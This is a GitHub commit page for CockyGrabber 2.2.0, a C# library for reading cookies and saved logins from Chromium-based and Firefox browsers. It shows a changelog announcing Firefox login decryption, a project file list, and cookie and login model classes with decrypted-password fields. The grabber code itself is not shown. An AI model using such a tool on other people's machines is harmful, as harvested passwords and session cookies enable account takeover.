Skip to content

Commit b0f4459

Browse files
committed
Added 2.2.0
1 parent db6946c commit b0f4459

28 files changed

+1253
-884
lines changed

Changelog.MD

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,22 @@
1+
# 2.2.0
2+
3+
## Additions
4+
5+
* `Chromium` changed to `Blink`, and `Firefox` changed to `Gecko`
6+
* Added `BlinkGrabber` and `GeckoGrabber` which replace `ChromeGrabber` and `FirefoxGrabber`
7+
* Added Firefox Login Decryption
8+
* Added `GrabberException` which replaces `CookieDatabaseNotFoundException`, `LoginDatabaseNotFoundException`, and `LocalStateNotFoundException`
9+
10+
## Improvements
11+
12+
* Fixed the bug where you couldn't call the Method `GetAllChromiumCookies()` with the UniversalGrabber without it throwing an exception when at least one of the Browsers was not installed (same thing goes for `GetAllChromiumLogins()` and their Get-By equvalents)
13+
* Moved the documentation from Readme.md to the Github Wiki
14+
* Added support for mutliple Profiles on gecko based browsers like Firefox
15+
* Changed Timestamps from `long` to `DateTimeOffset`
16+
* Improved the use of the `DynamicJsonConverter`
17+
18+
</br>
19+
120
# 2.1.0
221

322
## Additions

CockyGrabber/CockyGrabber/CockyGrabber.csproj

Lines changed: 11 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -69,24 +69,27 @@
6969
<Reference Include="System.Xml" />
7070
</ItemGroup>
7171
<ItemGroup>
72-
<Compile Include="Chromium\Chromium.cs" />
73-
<Compile Include="Exceptions\LoginDatabaseNotFoundException.cs" />
74-
<Compile Include="Exceptions\LocalStateDatabaseNotFoundException.cs" />
75-
<Compile Include="Exceptions\CookieDatabaseNotFoundException.cs" />
72+
<Compile Include="EngineModels\Blink.cs" />
73+
<Compile Include="Exceptions\GrabberError.cs" />
74+
<Compile Include="Exceptions\GrabberException.cs" />
7675
<Compile Include="Grabbers\BraveGrabber.cs" />
76+
<Compile Include="Grabbers\FirefoxGrabber.cs" />
7777
<Compile Include="Grabbers\UniversalGrabber.cs" />
7878
<Compile Include="Grabbers\OperaGrabber.cs" />
7979
<Compile Include="Grabbers\EdgeGrabber.cs" />
8080
<Compile Include="Grabbers\VivaldiGrabber.cs" />
81-
<Compile Include="Grabbers\ChromiumGrabber.cs" />
81+
<Compile Include="EngineGrabbers\BlinkGrabber.cs" />
8282
<Compile Include="Grabbers\OperaGxGrabber.cs" />
8383
<Compile Include="Grabbers\ChromeGrabber.cs" />
84-
<Compile Include="Grabbers\FirefoxGrabber.cs" />
85-
<Compile Include="Firefox\Firefox.cs" />
84+
<Compile Include="EngineGrabbers\GeckoGrabber.cs" />
85+
<Compile Include="EngineModels\Gecko.cs" />
8686
<Compile Include="Properties\AssemblyInfo.cs" />
87+
<Compile Include="Utility\FirefoxDecryptor.cs" />
8788
<Compile Include="Utility\DynamicJsonConverter.cs" />
8889
</ItemGroup>
89-
<ItemGroup />
90+
<ItemGroup>
91+
<Folder Include="Firefox\" />
92+
</ItemGroup>
9093
<ItemGroup>
9194
<None Include="App.config" />
9295
<None Include="packages.config" />

CockyGrabber/CockyGrabber/Grabbers/ChromiumGrabber.cs renamed to CockyGrabber/CockyGrabber/EngineGrabbers/BlinkGrabber.cs

Lines changed: 355 additions & 325 deletions
Large diffs are not rendered by default.

CockyGrabber/CockyGrabber/EngineGrabbers/GeckoGrabber.cs

Lines changed: 300 additions & 0 deletions
Large diffs are not rendered by default.
Lines changed: 105 additions & 101 deletions
Original file line numberDiff line numberDiff line change
@@ -1,102 +1,106 @@
1-
namespace CockyGrabber
2-
{
3-
public static class Chromium
4-
{
5-
public class Cookie
6-
{
7-
public long CreationUTC { get; set; }
8-
public string TopFrameSiteKey { get; set; }
9-
public string HostKey { get; set; }
10-
public string Name { get; set; }
11-
public string Value { get; set; }
12-
public string EncryptedValue { get; set; }
13-
public string Path { get; set; }
14-
public long ExpiresUTC { get; set; }
15-
public bool IsSecure { get; set; }
16-
public bool IsHttpOnly { get; set; }
17-
public long LastAccessUTC { get; set; }
18-
public bool HasExpires { get; set; }
19-
public bool IsPersistent { get; set; }
20-
public short Priority { get; set; }
21-
public short Samesite { get; set; }
22-
public short SourceScheme { get; set; }
23-
public int SourcePort { get; set; }
24-
public bool IsSameParty { get; set; }
25-
}
26-
public class Login
27-
{
28-
public string OriginUrl { get; set; }
29-
public string ActionUrl { get; set; }
30-
public string UsernameElement { get; set; }
31-
public string UsernameValue { get; set; }
32-
public string PasswordElement { get; set; }
33-
public string PasswordValue { get; set; }
34-
public string SubmitElement { get; set; }
35-
public string SignonRealm { get; set; }
36-
public long DateCreated { get; set; }
37-
public bool IsBlacklistedByUser { get; set; }
38-
public int Scheme { get; set; }
39-
public int PasswordType { get; set; }
40-
public int TimesUsed { get; set; }
41-
public string FormData { get; set; }
42-
public string DisplayName { get; set; }
43-
public string IconUrl { get; set; }
44-
public string FederationUrl { get; set; }
45-
public int SkipZeroClick { get; set; }
46-
public int GenerationUploadStatus { get; set; }
47-
public string PossibleUsernamePairs { get; set; }
48-
public int Id { get; set; }
49-
public long DateLastUsed { get; set; }
50-
public string MovingBlockedFor { get; set; }
51-
public long DatePasswordModified { get; set; }
52-
}
53-
public enum CookieHeader
54-
{
55-
creation_utc,
56-
top_frame_site_key,
57-
host_key,
58-
name,
59-
value,
60-
encrypted_value,
61-
path,
62-
expires_utc,
63-
is_secure,
64-
is_httponly,
65-
last_access_utc,
66-
has_expires,
67-
is_persistent,
68-
priority,
69-
samesite,
70-
source_scheme,
71-
source_port,
72-
is_same_party,
73-
}
74-
public enum LoginHeader
75-
{
76-
origin_url,
77-
action_url,
78-
username_element,
79-
username_value,
80-
password_element,
81-
password_value,
82-
submit_element,
83-
signon_realm,
84-
date_created,
85-
blacklisted_by_user,
86-
scheme,
87-
password_type,
88-
times_used,
89-
form_data,
90-
display_name,
91-
icon_url,
92-
federation_url,
93-
skip_zero_click,
94-
generation_upload_status,
95-
possible_username_pairs,
96-
id,
97-
date_last_used,
98-
moving_blocked_for,
99-
date_password_modified
100-
}
101-
}
1+
using System;
2+
3+
namespace CockyGrabber
4+
{
5+
public static class Blink
6+
{
7+
public class Cookie
8+
{
9+
public DateTimeOffset CreationUTC { get; set; }
10+
public string TopFrameSiteKey { get; set; }
11+
public string HostKey { get; set; }
12+
public string Name { get; set; }
13+
public string Value { get; set; }
14+
public string EncryptedValue { get; set; }
15+
public string DecryptedValue { get; set; }
16+
public string Path { get; set; }
17+
public DateTimeOffset ExpiresUTC { get; set; }
18+
public bool IsSecure { get; set; }
19+
public bool IsHttpOnly { get; set; }
20+
public DateTimeOffset LastAccessUTC { get; set; }
21+
public bool HasExpires { get; set; }
22+
public bool IsPersistent { get; set; }
23+
public short Priority { get; set; }
24+
public short Samesite { get; set; }
25+
public short SourceScheme { get; set; }
26+
public int SourcePort { get; set; }
27+
public bool IsSameParty { get; set; }
28+
}
29+
public class Login
30+
{
31+
public string OriginUrl { get; set; }
32+
public string ActionUrl { get; set; }
33+
public string UsernameElement { get; set; }
34+
public string UsernameValue { get; set; }
35+
public string PasswordElement { get; set; }
36+
public string PasswordValue { get; set; }
37+
public string DecryptedPasswordValue { get; set; }
38+
public string SubmitElement { get; set; }
39+
public string SignonRealm { get; set; }
40+
public DateTimeOffset DateCreated { get; set; }
41+
public bool IsBlacklistedByUser { get; set; }
42+
public int Scheme { get; set; }
43+
public int PasswordType { get; set; }
44+
public int TimesUsed { get; set; }
45+
public string FormData { get; set; }
46+
public string DisplayName { get; set; }
47+
public string IconUrl { get; set; }
48+
public string FederationUrl { get; set; }
49+
public int SkipZeroClick { get; set; }
50+
public int GenerationUploadStatus { get; set; }
51+
public string PossibleUsernamePairs { get; set; }
52+
public int Id { get; set; }
53+
public DateTimeOffset DateLastUsed { get; set; }
54+
public string MovingBlockedFor { get; set; }
55+
public DateTimeOffset DatePasswordModified { get; set; }
56+
}
57+
public enum CookieHeader
58+
{
59+
creation_utc,
60+
top_frame_site_key,
61+
host_key,
62+
name,
63+
value,
64+
encrypted_value,
65+
path,
66+
expires_utc,
67+
is_secure,
68+
is_httponly,
69+
last_access_utc,
70+
has_expires,
71+
is_persistent,
72+
priority,
73+
samesite,
74+
source_scheme,
75+
source_port,
76+
is_same_party,
77+
}
78+
public enum LoginHeader
79+
{
80+
origin_url,
81+
action_url,
82+
username_element,
83+
username_value,
84+
password_element,
85+
password_value,
86+
submit_element,
87+
signon_realm,
88+
date_created,
89+
blacklisted_by_user,
90+
scheme,
91+
password_type,
92+
times_used,
93+
form_data,
94+
display_name,
95+
icon_url,
96+
federation_url,
97+
skip_zero_click,
98+
generation_upload_status,
99+
possible_username_pairs,
100+
id,
101+
date_last_used,
102+
moving_blocked_for,
103+
date_password_modified
104+
}
105+
}
102106
}

0 commit comments

Comments
 (0)